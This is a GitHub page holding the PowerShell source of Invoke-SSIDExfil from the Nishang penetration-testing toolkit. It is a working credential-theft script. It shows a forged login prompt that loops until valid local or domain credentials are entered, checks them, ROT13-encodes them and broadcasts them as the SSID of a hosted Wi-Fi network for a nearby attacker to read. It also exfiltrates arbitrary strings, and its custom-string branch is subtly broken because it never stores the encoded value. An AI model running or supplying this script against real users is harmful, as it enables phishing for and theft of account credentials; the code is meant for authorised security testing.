-
Notifications
You must be signed in to change notification settings - Fork 2.5k
/
Copy pathInvoke-SSIDExfil.ps1
144 lines (122 loc) · 5.15 KB
/
Invoke-SSIDExfil.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
function Invoke-SSIDExfil
{
<#
.SYNOPSIS
Nishang script which can exfiltrate information like user credentials, using WLAN SSID.
.DESCRIPTION
In the default operation (without any option), the script opens a prompt which asks for user credentials and does not go away till valid local or domain credentials are entered in the prompt.
The credentials are encoded using ROT13 and a Hosted Network is started with the SSID set to the encoded credentials.
If the target is in proximity, the SSID can be noted and decoded using the same script.
The script needs to be run from elevated shell to configure and start a hosted network.
It is also possible to Exfiltrate data - limited up to 32 bytes - other then the user credentials.
.PARAMETER MagicString
The string which Gupt would compare with the available SSIDs.
.PARAMETER Arguments
Arguments to pass to a downloaded script.
.EXAMPLE
PS > Invoke-SSIDExfil
Use above command to show a credentials prompt to the target user. A Hosted Network with SSID set to ROT13
encoding of credentials will be started.
PS > Invoke-SSIDExfil -ExfilOnly -StringToExfiltrate supersecret
Use above command to exfiltrate a custom string.
PS > Invoke-SSIDExfil -Decode -StringToDecode fhcrefrperg
Use above command to decode a string exfiltrated by the script.
.LINK
http://www.labofapenetrationtester.com/2016/11/exfiltration-of-user-credentials-using-wlan-ssid.html
https://github.com/samratashok/nishang
#>
[CmdletBinding()] param(
[Parameter(Position = 0, Mandatory = $False, ValueFromPipeline = $True)]
[String]
$StringToDecode,
[Parameter(Position = 1, Mandatory = $False, ValueFromPipeline = $True)]
[String]
$StringToExfiltrate,
[Switch]
$ExfilOnly,
[Switch]
$Decode
)
$ErrorActionPreference="SilentlyContinue"
Add-Type -assemblyname system.DirectoryServices.accountmanagement
$DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
$domainDN = "LDAP://" + ([ADSI]"").distinguishedName
#ROT13 code From learningpcs.blogspot.com/2012/06/powershell-v2-function-convertfrom.html
function ConvertTo-ROT13
{
param(
[Parameter(Mandatory = $False)]
[String]
$rot13string
)
[String] $string = $null;
$rot13string.ToCharArray() | ForEach-Object {
if((([int] $_ -ge 97) -and ([int] $_ -le 109)) -or (([int] $_ -ge 65) -and ([int] $_ -le 77)))
{
$string += [char] ([int] $_ + 13);
}
elseif((([int] $_ -ge 110) -and ([int] $_ -le 122)) -or (([int] $_ -ge 78) -and ([int] $_ -le 90)))
{
$string += [char] ([int] $_ - 13);
}
else
{
$string += $_
}
}
$string
}
if ($Decode -eq $True)
{
Write-Verbose "Decoding the exfiltrated value."
ConvertTo-ROT13 -rot13string $StringToDecode
}
elseif($ExfilOnly -eq $True)
{
Write-Verbose "Exfiltrating the data."
if ($StringToExfiltrate.Length -gt 32)
{
Write-Warning "The data is too long for SSID name. It can only be 32 bytes long. Aborting.."
break
}
else
{
Write-Verbose "Exfiltrating the data."
ConvertTo-ROT13 -rot13string $StringToExfiltrate
Write-Verbose "Setting the hosted network SSID to $ssidname."
netsh wlan set hostednetwork mode=allow ssid=`"$ssidname`" key='HardtoGuess!@#123'
Write-Verbose "Startig the hosted network SSID $ssidname."
netsh wlan start hostednetwork
break
}
}
else
{
while($true)
{
#Displaying a forged login prompt to the user.
$credential = $host.ui.PromptForCredential("Credentials are required to perform this operation", "Please enter your user name and password.", "", "")
if($credential)
{
$creds = $credential.GetNetworkCredential()
[String]$user = $creds.username
[String]$pass = $creds.password
[String]$domain = $creds.domain
#Check for validity of credentials locally and with domain.
$authlocal = $DS.ValidateCredentials($user, $pass)
$authdomain = New-Object System.DirectoryServices.DirectoryEntry($domainDN,$user,$pass)
if(($authlocal -eq $true) -or ($authdomain.name -ne $null))
{
$output = $authdomain.name + ":" + $user + ":" + $pass
$ssidname = ConvertTo-ROT13 -rot13string $output
Write-Verbose "Setting the hosted network SSID to $ssidname in the form Domain:Username:Password."
netsh wlan set hostednetwork mode=allow ssid=`"$ssidname`" key='HardtoGuess!@#123'
Write-Verbose "Startig the hosted network SSID $ssidname."
netsh wlan start hostednetwork
break
}
}
}
}
}